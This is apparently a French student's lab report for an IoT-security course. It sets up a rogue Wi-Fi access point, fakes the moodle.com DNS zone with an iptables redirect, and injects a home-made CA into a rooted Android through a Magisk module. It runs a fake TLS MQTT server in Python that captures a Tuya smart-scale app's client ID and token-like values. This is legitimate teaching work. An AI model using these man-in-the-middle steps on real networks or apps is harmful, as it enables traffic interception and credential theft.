    bindsocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    bindsocket.bind(('0.0.0.0', PORT))&lt;br /&gt;
    bindsocket.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;faux Serveur MQTT en écoute sur le port {PORT}...&amp;quot;)&lt;br /&gt;
    print(&amp;quot;en attente de l'application Android...&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        try:&lt;br /&gt;
            newsocket, fromaddr = bindsocket.accept()&lt;br /&gt;
            print(f&amp;quot;\nconnexion TCP reçue de {fromaddr[0]}&amp;quot;)&lt;br /&gt;
            &lt;br /&gt;
            try:&lt;br /&gt;
                conn = context.wrap_socket(newsocket, server_side=True)&lt;br /&gt;
                print(f&amp;quot;handshake SSL réussi&amp;quot;)&lt;br /&gt;
                &lt;br /&gt;
                data = conn.recv(1024)&lt;br /&gt;
                print(f&amp;quot;données reçues ({len(data)} octets) :&amp;quot;)&lt;br /&gt;
                print(data)&lt;br /&gt;
                &lt;br /&gt;
            except ssl.SSLError as e:&lt;br /&gt;
                print(f&amp;quot;échec SSL rejet du certificat.\n{e}&amp;quot;)&lt;br /&gt;
            except Exception as e:&lt;br /&gt;
                print(f&amp;quot;erreur de lecture : {e}&amp;quot;)&lt;br /&gt;
            finally:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
        except KeyboardInterrupt:&lt;br /&gt;
            print(&amp;quot;\narrêt.&amp;quot;)&lt;br /&gt;
            break&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    start_server()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
connexion TCP reçue de 172.16.10.102&lt;br /&gt;
handshake SSL réussi&lt;br /&gt;
données reçues (529 octets) :&lt;br /&gt;
b'\x10\x8e\x04\x00\x04MQTT\x04\xce\x00&amp;lt;\x00lcom.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT\x00\x0ftuya/smart/will\x00\xfa{&amp;quot;clie&lt;br /&gt;
ntId&amp;quot;:&amp;quot;com.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT&amp;quot;,&amp;quot;deviceType&amp;quot;:&amp;quot;ANDROID&amp;quot;,&amp;quot;message&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;userName&amp;quot;:&amp;quot;e5a1220d6003e352f8b34a81&lt;br /&gt;
cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc&amp;quot;}\x00up1027735_v1_4dtc78phe7grtfdfv7fp_a4206d71_mb_eu17623708062605mpDdzpA355dad9b8086f63442d98e227e039cf5315158b056398c8fb\x00\x10388c&lt;br /&gt;
a5a77b82c5ad'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On constate à la suite de cela que notre application fait totalement confiance à notre faux serveur. Il faut maintenant le format sous lequel envoyer notre message pour quelle ajoute un poids dans l'application.&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10924</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10924"/>
		<updated>2025-12-11T16:33:19Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : /* Seconde tentative */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre en place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routée est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur a accès à Internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi (29/09) =&lt;br /&gt;
Pour l'instant, nous mettons de côté ce point du TP car il n'est pas utile pour la suite.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-PSK =&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur &amp;lt;code&amp;gt;Cisco&amp;lt;/code&amp;gt;, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;. La première étape fut la création du SSID &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis, on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici, ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord, on modifie &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on crée la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone moodle.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vers un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on configure &amp;lt;code&amp;gt;Apache2&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on vient générer une demande de signature de certificat :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on vient signer le site avec le certificat de CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
&lt;br /&gt;
== Première tentative ==&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sûr le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installé &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
== Seconde tentative ==&lt;br /&gt;
&lt;br /&gt;
Pour cette seconde tentative, j'utilise les commandes suivantes avec plusieurs ISO Android.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw -cdrom *android-x86*.iso -boot d&lt;br /&gt;
qemu-system-x86_64     -m 2048     -enable-kvm     -cpu host     -smp 2     -display sdl     -drive file=android.img,format=raw,if=virtio     -usb     -device usb-host,vendorid=0x148f,productid=0x5370&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;J'ai pu donc pu faire face:&lt;br /&gt;
&lt;br /&gt;
- À un ISO sans les services Google et sans navigateur ...&lt;br /&gt;
&lt;br /&gt;
- Un trop ancien pour Nedis&lt;br /&gt;
&lt;br /&gt;
- Un qui refuse l'installation d'APK&lt;br /&gt;
&lt;br /&gt;
- Un trop récent pour l'installation de certificat.&lt;br /&gt;
&lt;br /&gt;
- Un qui refuse de se laisser root&lt;br /&gt;
&lt;br /&gt;
En fin de séance, je n'ai malheureusement pas de VM Android fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
== Ultime tentative (qui marche) ==&lt;br /&gt;
Cette fois ci j'utilise l'application Android Studio qui permet d'émuler des téléphones Android pour le débogage d'application. On va donc s'en servir pour créer un Android routé qui va recevoir notre certificat.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps j'ai donc routé mon téléphone avec l'utilitaire Magisik en suivant ce tutoriel : https://www.youtube.com/watch?v=QzsNn3GhYYk&amp;amp;t=374s.&lt;br /&gt;
&lt;br /&gt;
Puis je viens ajouter un module dans Magisk qui permet de recharger à chaque demarrage du téléphone le certificat en question.&lt;br /&gt;
&lt;br /&gt;
Le certificat peut être ajouter dans le téléphone en utilisant la commande &amp;lt;code&amp;gt;adb push xyzxyzxyz.0&amp;lt;/code&amp;gt; .&lt;br /&gt;
&lt;br /&gt;
La manipulation est la suivante :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
adb shell&lt;br /&gt;
su&lt;br /&gt;
cd /data/adb/modules/&lt;br /&gt;
mkdir -p tuya_cert/system/etc/security/cacerts&lt;br /&gt;
echo &amp;quot;id=tuya_cert&amp;quot; &amp;gt; tuya_cert/module.prop echo &amp;quot;name=Tuya Certificate Injection&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;version=1.0&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;versionCode=1&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;author=Victo&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;description=Injecte le certificat Tuya dans le systeme&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop&lt;br /&gt;
touch tuya_cert/auto_mount&lt;br /&gt;
cp /sdcard/Download/26e33623.0 /data/adb/modules/tuya_cert/system/etc/security/cacerts/&lt;br /&gt;
chmod 644 /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
chown root:root /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On a donc maintenant une VM Android avec notre certificat. Il faut maintenant que le PC qui host cette VM soit connecté à notre borne WiFi pour pouvoir constater que notre site Moodle.com est bien redirigé et sécurisé. &lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
(cette page web date du 06/10/25, elle n'est plus valable depuis le 10/10/25...)&lt;br /&gt;
&lt;br /&gt;
= Nedis Wi-Fi Smart Personal Scales =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce second TP, nous allons jouer avec ce pèse personne de nedis. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, j'ai connecté la balance au réseau SE5-SSID10.&lt;br /&gt;
&lt;br /&gt;
Puis j'ai remarqué que quand je tentais de me peser, la balance affichait err2.&lt;br /&gt;
&lt;br /&gt;
Après une courte investigation, il s'agit d'une balance qui émet des signaux électriques pour analyser la composition corporelle donc si on se pèse avec des chaussures, cela pose problème.&lt;br /&gt;
&lt;br /&gt;
Pour la suite du projet, on se pèsera avec les mains.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Poid_sur_app_nedis.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
== Redirection du poids vers notre serveur ==&lt;br /&gt;
Dans un premier temps, mon idée était de faire croire à la balance qu'elle communique effectivement avec son serveur pour pouvoir récupérer les informations sur la santé de l'utilisateur. &lt;br /&gt;
&lt;br /&gt;
Ici on constate sur ces paquets la requête de la balance pour obtenir une IP, puis le moment ou elle l'obtient.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:WS connection balance.png|sans_cadre|858x858px]]&lt;br /&gt;
&lt;br /&gt;
Je peux donc ping ma balance depuis mon pc (celui qui host ma VM android)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PIng balance.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant je veux voir les messages de communication entre la balance, son serveur et l'application, pour ce faire je fais &amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
14:46:51.115996 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 13861+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
